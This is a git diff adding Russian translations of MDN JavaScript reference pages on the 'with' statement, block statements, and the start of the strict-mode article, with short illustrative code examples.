+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_with">Использование <code>with</code></h3>
+
+<p>Последующее использование <strong><code>with</code></strong> указывает что Объект <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="JavaScript/Reference/Global_Objects/Math"><code>Math</code></a> является объектом по умолчанию. Следующие инструкции  за <strong><code>with</code></strong>  ссылаются на свойства <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI" title="JavaScript/Reference/Global_Objects/Math/PI">PI</a><font face="Open Sans, arial, sans-serif"> и методы </font></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos" title="JavaScript/Reference/Global_Objects/Math/cos"><code>cos</code></a> и <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="JavaScript/Reference/Global_Objects/Math/sin"><code>sin</code></a>, без указания объекта. JavaScript предполагает Объект <code>Math</code> для этих справок.</p>
+
+<pre class="brush:js">var a, x, y;
+var r = 10;
+
+with (Math) {
+  a = PI * r * r;
+  x = r * cos(PI);
+  y = r * sin(PI / 2);
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Now forbidden in strict mode.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/блок/index.html b/files/ru/web/javascript/reference/statements/блок/index.html
new file mode 100644
index 0000000000..4122fea24d
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/блок/index.html
@@ -0,0 +1,177 @@
+---
+title: Блок
+slug: Web/JavaScript/Reference/Statements/Блок
+tags:
+  - JavaScript
+  - Инструкция
+  - Оператор
+  - справочник
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Блок инструкций </strong>(или <strong>сложная инструкция</strong> в других языках) используется для группировки нуля или более инструкций. Блок отделяется парой фигурных скобок и может опционально быть {{jsxref("Statements/label", "поименован")}}:</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">[имя:] {
+  <em>инструкция_1</em>;
+  <em>инструкция_2;</em>
+  ...
+  <em>инструкция_n;</em>
+}
+</pre>
+
+<dl>
+ <dt><code>инструкция_1</code>, <code>инструкция_2</code>, <code>инструкция_n</code></dt>
+ <dd>Инструкции, сгруппированные внутри блока инструкций.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">имя</font></dt>
+ <dd>Необязательное {{jsxref("Statements/label", "имя")}} для визуальной идентификации или использования как точки выхода для оператора {{jsxref("Statements/break", "break")}}.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Эта инструкция широко используется с операторами управления потоком (н., {{jsxref("Statements/if...else", "if...else")}}, {{jsxref("Statements/for", "for")}}, {{jsxref("Statements/while", "while")}}). Например:</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>Обратите внимание, что блок инструкций не заканчивается точкой с запятой.</p>
+
+<p>Блок инструкций часто называется <strong>сложной (составной) инструкцией</strong> в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространенная практика в JavaScript. Противоположное поведение - использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого оператора</a> там, где никаких действий не нужно, а оператор требуется.</p>
+
+<h3 id="Правила_области_видимости_блока">Правила области видимости блока</h3>
+
+<h4 id="С_использованием_var">С использованием <code>var</code></h4>
+
+<p>Переменные, объявленные через <code>var</code>, <strong>не</strong> <strong>имеют</strong> блочной области видимости. Переменные, введенные внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельностоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельностоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:</p>
+
+<pre class="brush: js example-bad">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // выводит 2
+</pre>
+
+<p>Тут выводится 2, потому что оператор <code>var x</code> внутри блока - в той же области видимости, что и оператор <code>var x</code> перед блоком. В C или Java подобный код вывел бы 1.</p>
+
+<h4 id="С_let_и_const">С <code>let</code> и <code>const</code></h4>
+
+<p>Наоборот, идентификаторы, объявленные с помощью {{jsxref("Statements/let", "let")}} и {{jsxref("Statements/const", "const")}} <strong>имеют </strong>блочную область видимости:</p>
+
+<pre class="brush: js">let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // выводит 1</pre>
+
+<p><code>x = 2</code> ограничено рамками области видимости блока, в котором оно было определено.</p>
+
+<p>То же самое и для <code>const</code>:</p>
+
+<pre class="brush: js">const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // выводит 1 и не выбрасывает SyntaxError...</pre>
+
+<p>Обратите внимание, что объявленная внутри блока <code>const c = 2</code> <em>не</em> кидает  <code>SyntaxError: Identifier 'c' has already been declared</code> (<code>идентификатор 'c' уже был объявлен</code>) потому что она может быть объявлена единожды внутри блока.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Первоначальная редакция. Реализовано в JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._так_же">См. так же</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/if...else", "if...else")}}</li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html
new file mode 100644
index 0000000000..401d999d59
--- /dev/null
+++ b/files/ru/web/javascript/reference/strict_mode/index.html
@@ -0,0 +1,367 @@
+---
+title: Strict mode
+slug: Web/JavaScript/Reference/Strict_mode
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Strict Mode
+  - Строгий режим
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Режим <em>strict</em> (<em>строгий</em> режим), введенный в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.</p>
+
+<p>Строгий режим принёс ряд изменений в обычную семантику JavaScript. Во-первых, строгий режим заменяет исключениями некоторые ошибки, которые интерпретатор JavaScript ранее молча пропускал. Во-вторых, строгий режим исправляет ошибки, которые мешали движкам JavaScript выполнять оптимизацию -- в некоторых случаях код в строгом режиме может быть оптимизирован для более быстрого выполнения, чем код в обычном режиме. В-третьих, строгий режим запрещает использовать некоторые элементы синтаксиса, которые, вероятно, в следующих версиях ECMAScript получат особый смысл.</p>
+
+<p>Если вы хотите изменить свой код так, чтобы он работал в строгой версии JavaScript, посмотрите статью {{ jsxref("Strict_mode/Transitioning_to_strict_mode", "Переход к строгому режиму") }}.</p>
+
+<h2 id="Активизация_строгого_режима">Активизация строгого режима</h2>
+
+<p>Строгий режим применяется ко <em>всему скрипту</em> или к <em>отдельным функциям</em>. Он не может быть применён к блокам операторов, заключенных в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в <code>eval</code>, <code>Function</code>, в аттрибутах обработчиков событий, в строках, переданных в <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.</p>
+
+<h3 id="Строгий_режим_для_скриптов">Строгий режим для скриптов</h3>
+
+<p>Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор <code>"use strict";</code> или <code>'use strict';</code> перед всеми остальными операторами скрипта (выдержать приведенный синтаксис буквально).</p>
+
+<pre class="brush: js">// Синтаксис переключения в строгий режим всего скрипта
+"use strict";
+var v = "Привет! Я скрипт в строгом режиме!";
+</pre>
+
+<p>В этой синтаксической конструкции кроется ловушка, в которую уже угодили даже <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">самые известные сайты</a>: нельзя бездумно объединять скрипты с разными режимами. Объединение скрипта в строгом режиме со скриптом в обычном выглядит как скрипт в строгом режиме! Справедливо и обратное: объединение обычного скрипта со строгим выглядит как нестрогий скрипт. Объединение только строгих или только обычных скриптов проходит без последствий, проблему вызывает совместное использование скриптов со строгим и обычным режимом. Поэтому рекомендуется включать строгий режим только на уровне функций (хотя бы в течение переходного периода).</p>
+
+<p>Вы также можете использовать подход "обёртывания" всего содержимого скрипта в функцию, для которой включён строгий режим. Это уменьшит возможность возникновения проблем при объединении скриптов, но одновременно потребует явно экспортировать из контекста функции все глобальные переменные.</p>
+
+<h3 id="Строгий_режим_для_функций">Строгий режим для функций</h3>
+
+<p>Аналогично, чтобы включить строгий режим для функции, поместите оператор <code>"use strict";</code> (или <code>'use strict';</code>) в тело функции перед любыми другими операторами.</p>
+
+<pre class="brush: js">function strict() {
+  // Строгий режим на уровне функции
+  "use strict";
+  function nested() { return "И я тоже!"; }
+  return "Привет! Я функция в строгом режиме! " + nested();
+}
+function notStrict() { return "Я не strict."; }
+</pre>
+
+<h3 id="Строгий_режим_для_модулей">Строгий режим для модулей</h3>
+
+<p>ECMAScript 2015 представил <a href="/ru/docs/Web/JavaScript/Reference/Statements/export">модули JavaScript</a> и, следовательно, 3-й способ войти в строгий режим. Все содержимое модулей JavaScript автоматически находится в строгом режиме, и для его запуска не требуется никаких инструкций.</p>
+
+<pre><code>function strict() {
+    // Потому что это модуль, я strict по-умолчанию
+}
+export default strict;</code></pre>
+
+<h2 id="Изменения_в_строгом_режиме">Изменения в строгом режиме</h2>
+
+<p>Строгий режим изменяет синтаксис и поведение среды исполнения. Изменения главным образом попадают в следующие категории: преобразование ошибок в исключения; изменения, упрощающие вычисление переменной в определённых случаях использования её имени; изменения, упрощающие <code>eval</code> и <code>arguments</code>; изменения, упрощающие написание "безопасного" JavaScript, и изменения, предвосхищающие дальнейшее развитие ECMAScript.</p>
+
+<h3 id="Преобразование_ошибок_в_исключения">Преобразование ошибок в исключения</h3>
+
+<p>Строгий режим превращает некоторые прощавшиеся ранее ошибки в исключения. JavaScript был разработан с расчётом на низкий порог вхождения, и временами он придаёт заведомо ошибочным операциям семантику нормального кода. Иногда это помогает срочно решить проблему, а иногда это создаёт худшие проблемы в будущем. Строгий режим расценивает такие ошибки как ошибки времени выполнения, для того чтобы они могли быть обнаружены и исправлены в обязательном порядке.</p>
+
+<p>Во-первых, строгий режим делает невозможным случайное создание глобальных переменных. В обычном JavaScript опечатка в имени переменной во время присваивания приводит к созданию нового свойства глобального объекта, и выполнение продолжается (хотя в современном JavaScript оно, вероятно, аварийно завершится в дальнейшем). Присваивания, которые могут случайно создать глобальную переменную, в строгом режиме выбрасывают исключение:</p>
+
+<pre class="brush: js">"use strict";
+                      // Предполагая, что не существует глобальной переменной
+mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит ReferenceError
+                      // из-за опечатки в имени переменной</pre>
+
+<p>Во-вторых, строгий режим заставляет присваивания, которые всё равно завершились бы неудачей, выбрасывать исключения. Например, <code>NaN</code> -- глобальная переменная, защищённая от записи. В обычном режиме присваивание <code>NaN</code> значения ничего не делает; разработчик не получает никакого сообщения об ошибке. В строгом режиме присваивание <code>NaN</code> значения выбрасывает исключение. Любое присваивание, которое в обычном режиме завершается неудачей (присваивание значения свойству, защищённому от записи; присваивание значения свойству, доступному только на чтение; присваивание нового свойства <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions">нерасширяемому</a> объекту), в строгом режиме выбросит исключение:</p>
+
+<pre class="brush: js">"use strict";
+
+<code>// Присваивание значения глобальной переменной, защищенной от записи
+var undefined = 5; // выдаст TypeError
+var Infinity = 5; // выдаст TypeError
+</code>
+// Присваивание значения свойству, защищенному от записи
+var obj1 = {};
+Object.defineProperty(obj1, "x", { value: 42, writable: false });
+obj1.x = 9; // выдаст TypeError
+
+// Присваивание значения свойству, доступному только для чтения
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // выдаст TypeError
+
+// Задание нового свойства нерасширяемому объекту
+var fixed = {};
+Object.preventExtensions(fixed);
+fixed.newProp = "ohai"; // выдаст TypeError
+</pre>
+
+<p>В-третьих, в строгом режиме попытки удалить неудаляемые свойства будут вызывать исключения (в то время как прежде такая попытка просто не имела бы эффекта):</p>
+
+<pre class="brush: js">"use strict";
+delete Object.prototype; // выдаст TypeError
+</pre>
+
+<p>В-четвёртых, строгий режим требует, чтобы все свойства, перечисленные в сериализованном объекте, встречались только один раз. В обычном коде имена свойств могут дублироваться, а значение свойства определяется последним объявлением. Но, в таком случае, дублирование -- просто почва для багов, если код редактируется с тем, чтобы поменять значение свойства как-то по-другому, кроме изменения последнего объявления. Дублирование имён свойств в строгом режиме является синтаксической ошибкой:</p>
+
+<div class="note">
+<p>Это уже не является проблемой в ECMAScript 2015 ({{bug(1041128)}}).</p>
+</div>
+
+<pre class="brush: js">"use strict";
+var o = { p: 1, p: 2 }; // !!! синтаксическая ошибка
+</pre>
+
+<p>В-пятых, строгий режим требует, чтобы имена аргументов в объявлении функций встречались только один раз. В обычном коде последний повторённый аргумент скрывает предыдущие аргументы с таким же именем. Эти предыдущие аргументы всё ещё доступны через <code>arguments[i]</code>, так что они не полностью потеряны. Тем не менее, такое сокрытие несёт в себе мало смысла и, скорее всего, не имеет под собой цели (например, может скрывать опечатку), поэтому в строгом режиме дублирование имён аргументов является синтаксической ошибкой:</p>
+
+<pre class="brush: js">function sum(a, a, c) { // !!! синтаксическая ошибка
+  "use strict";
+  return a + a + c; // ошибка, если код был запущен
+}
+</pre>
+
+<p>В-шестых, строгий режим запрещает синтаксис восьмеричной системы счисления. Восьмеричный синтаксис не является частью ECMAScript, но поддерживается во всех браузерах с помощью дописывания нуля спереди к восьмеричному числу: <code>0644 === 420</code> и <code>"\045" === "%"</code>. В ECMAScript 2015 восьмеричное число поддерживается также с помощью дописывания перед числом "<code>0o</code>". Т.е.</p>
+
+<pre><code>var a = 0o10; // ES2015: Восмеричное</code>
+</pre>
+
+<p>Иногда начинающие разработчики думают, что ведущий ноль не имеет семантического значения, и используют его для выравнивания -- но это меняет значение числа! Восьмеричный синтаксис редко бывает полезен и может быть неправильно использован, поэтому строгий режим считает восьмеричные числа синтаксической ошибкой:</p>
+
+<pre class="brush: js">"use strict";
+var sum = 015 + // !!! синтаксическая ошибка
+          197 +
+          142;
+
+<code>var sumWithOctal = 0o10 + 8;
+console.log(sumWithOctal); // 16</code>
+</pre>
+
+<p>В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдает {{jsxref ("TypeError")}}.</p>
+
+<pre><code>(function() {
+'use strict';
+
+false.true = '';         // TypeError
+(14).sailing = 'home';   // TypeError
+'with'.you = 'far away'; // TypeError
+
+})();</code></pre>
+
+<h3 id="Упрощение_работы_с_переменными">Упрощение работы с переменными</h3>
+
+<p>Строгий режим упрощает сопоставление имени переменной с местом ее определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная <em>X</em> хранится в <em>этом конкретном </em>месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом ее определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.</p>
+
+<p>Во-первых, строгий режим запрещает использование <code>with</code>. Проблема с <code>with</code> в том, что во время выполнения любое имя внутри блока может ссылаться как на свойство обрабатываемого объекта, так и на переменную в окружающем (или даже в глобальном) контексте -- невозможно знать об этом заранее. Строгий режим считает <code>with</code> синтаксической ошибкой, поэтому не остаётся шанса использовать имя переменной внутри <code>with</code> для ссылки на неизвестное место во время выполнения:</p>
+
+<pre class="brush: js">"use strict";
+var x = 17;
+with (obj) { // !!! синтаксическая ошибка
+  // Если код не в строгом режиме, то будет ли <code>x </code>ссылаться на переменную var x, или
+  // на свойство obj.x? Предугадать без запуска кода невозможно,
+  // следовательно такой код не может быть эффективно оптимизирован.
+  x;
+}
+</pre>
+
+<p>Простая альтернатива <code>with</code> уже существует -- присваивание объекта переменной с коротким именем и затем доступ к нужному свойству как свойству этой переменной.</p>
+
+<p>Во-вторых, <a href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/"><code>eval</code> в строгом режиме не добавляет новых переменных в окружающий контекст</a>. В обычном режиме, при вызове <code>eval("var x;")</code> переменная <code>x</code> добавится в область видимости окружающей функции либо в глобальный контекст. В общем случае, это означает, что в каждой функции, в которой присутствует вызов <code>eval</code>, имена переменных которые не ссылаются на аргумент или локальную переменную, должны сопоставляться с местом их определения в коде только во время выполнения (потому что <code>eval</code> мог ввести новую переменную, которая может перекрыть внешнюю переменную). В строгом режиме <code>eval</code> создаёт переменные только в контексте выполняемого кода, так что <code>eval</code> не может повлиять на то, ссылается ли имя на локальную или на внешнюю переменную:</p>
+
+<pre class="brush: js">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x");
+console.assert(x === 17);
+console.assert(evalX === 42);
+</pre>
+
+<p>Соответственно, если функция <code>eval</code> вызвана непосредственно в форме выражения <code>eval(...)</code>, то внутри кода в строгом режиме, передаваемый в неё код будет выполнен в строгом режиме. Передаваемый код может содержать в себе включение строгого режима, но в этом нет необходимости.</p>
+
+<pre class="brush: js">function strict1(str) {
+  "use strict";
+  return eval(str); // str будет выполнен как код строгого режима
+}
+function strict2(f, str) {
+  "use strict";
+  return f(str); // не eval(...): str выполнится в строгом режиме только в том
+                 // случае, если в нем содержится вызов строгого режима
+}
+function nonstrict(str) {
+  return eval(str); // str выполнится в строгом режиме только в том
+                    // случае, если в нем содержится вызов строгого режима
+}
+strict1("'Строгий режим!'");
+strict1("'use strict'; 'Строгий режим!'");
+strict2(eval, "'Не строгий режим.'");
+strict2(eval, "'use strict'; 'Строгий режим!'");
+nonstrict("'Не строгий режим.'");
+nonstrict("'use strict'; 'Строгий режим!'");
+</pre>
+
+<p>Таким образом, имена в строгом коде, передаваемом в <code>eval</code><font face="Courier New, Andale Mono, monospace">, </font>ведут себя так же, как имена в нестрогом коде, передаваемом в <code>eval</code> внутри строгого режима.</p>
+
+<p>В-третьих, строгий режим запрещает удаление простых имён. <code>delete name</code> в строгом режиме является синтаксической ошибкой:</p>
+
+<pre class="brush: js"><code>'use strict';
+
+var x;
+delete x; // !!! </code>синтаксическая ошибка<code>
+
+eval('var y; delete y;'); // !!! </code>синтаксическая ошибка</pre>
+
+<h3 id="Упрощение_eval_и_arguments">Упрощение <code>eval</code> и <code>arguments</code></h3>
+
+<p>В строгом режиме снижается количество странностей в поведении <code>arguments</code> и <code>eval</code>, оба из которых примешивают определённое количество магии в обычный код. Так <code>eval</code> добавляет или удаляет переменные и меняет их значения, а переменная <code>arguments</code> может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для проименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдет лишь в следующей редакции ECMAScript.</p>
+
+<p>Во-первых, ключевые слова <code>eval</code> и <code>arguments</code> не могут быть переопределены или изменены. Все подобные попытки это сделать являются синтаксическими ошибками:</p>
+
+<pre class="brush: js">"use strict";
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function("arguments", "'use strict'; return 17;");
+</pre>
+
+<p>Во-вторых, в строгом режиме поля объекта <code>arguments</code> не связаны с проименованными аргументами функции, а являются их продублированными копиями значений. В обычном коде внутри функции, первым аргументом которой является <code>arg</code>, изменение значения переменной <code>arg</code> также меняет значение и у поля <code>arguments[0]</code>, и наоборот (кроме случаев, когда аргумент в функцию не передан, или <code>arguments[0]</code> удалён). В строгом режиме <code>arguments</code> хранит копии значений аргументов переданных при вызове функции. <code>arguments[i]</code> не отслеживает изменений соответствующего именованного аргумента, и именованный аргумент не отслеживает значение соответствующего arguments[i].</p>
+
+<pre class="brush: js">function f(a) {
+  "use strict";
+  a = 42;
+  return [a, arguments[0]];
+}
+var pair = f(17);
+console.assert(pair[0] === 42);
+console.assert(pair[1] === 17);
+</pre>
+
+<p>В-третьих, свойство <code>arguments.callee</code> больше не поддерживается. В обычном коде свойство <code>arguments.callee</code> ссылается на саму функцию для вызова которой и был создан объект <code>arguments</code>. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по ее имени непосредственно. Более того, <code>arguments.callee</code> значительно затрудняет такую оптимизацию, как <a href="https://ru.wikipedia.org/wiki/Межпроцедурная_оптимизация#Инлайнинг">инлайнинг</a>, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:</p>
+
+<pre class="brush: js">"use strict";
+var f = function() { return arguments.callee; };
+f(); // выдаст TypeError
+</pre>
+
+<h3 id="Обезопасенный_JavaScript">"Обезопасенный" JavaScript</h3>
+
+<p>Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте <em>от имени других пользователей. </em>В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведет к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определенным способом, существенно снижают потребность в таких проверках.</p>
+
+<p>Во-первых, значение, передаваемое в функцию как <code>this</code>, в строгом режиме не приводится к объекту (не "упаковывается"). В обычной функции <code>this</code> всегда представляет собой объект: либо это непосредственно объект, в случае вызова с <code>this</code>, представляющим объект-значение; либо значение, упакованное в объект, в случае вызова с <code>this</code> типа Boolean, string, или number; либо глобальный объект, если тип <code>this</code> это <code>undefined</code> или <code>null</code>. (Для точного определения конкретного <code>this</code> используйте <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code>, <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, или <code>{{jsxref('Global_Objects/Function/bind', 'bind')}}</code>.) Автоматическая упаковка не только снижает производительность, но и выставляет на показ глобальный объект, что в браузерах является угрозой безопасности, потому что глобальный объект предоставляет доступ к функциональности, которая должна быть ограничена в среде "безопасного" JavaScript. Таким образом, для функции в строгом режиме точно определённый <code>this</code> не упаковывается в объект, а если не определён точно, <code>this</code> является <code>undefined</code>:</p>
+
+<pre class="brush: js">"use strict";
+function fun() { return this; }
+console.assert(fun() === undefined);
+console.assert(fun.call(2) === 2);
+console.assert(fun.apply(null) === null);
+console.assert(fun.call(undefined) === undefined);
+console.assert(fun.bind(true)() === true);
+</pre>
+
+<p>Во-вторых, в строгом режиме больше не представляется возможным осуществлять "прогонку" стека JavaScript посредством базовых расширений ECMAScript. В обычном коде, использующем эти расширения, когда функция <code>fun</code> находится в процессе своего вызова, <code>fun.caller</code> представляет собой функцию, вызвавшую <code>fun</code>, а <code>fun.arguments</code> это <code>аргументы</code> для данного вызова <code>fun</code>. Оба расширения являются проблемными для "безопасного" JavaScript, так как они позволяют "безопасному" коду получить доступ к "привилегированным" функциям и их (потенциально небезопасным) аргументам. Если <code>fun</code> находится в строгом режиме, то <code>fun.caller</code>, так же как и <code>fun.arguments,</code> представляют собой неудаляемые свойства, которые приведут к вызову исключения при попытке их чтения или записи:</p>
+
+<pre class="brush: js">function restricted() {
+  "use strict";
+
+  restricted.caller;    // выдаст TypeError
+  restricted.arguments; // выдаст TypeError
+}
+function privilegedInvoker() {
+  return restricted();
+}
+privilegedInvoker();
+</pre>
+
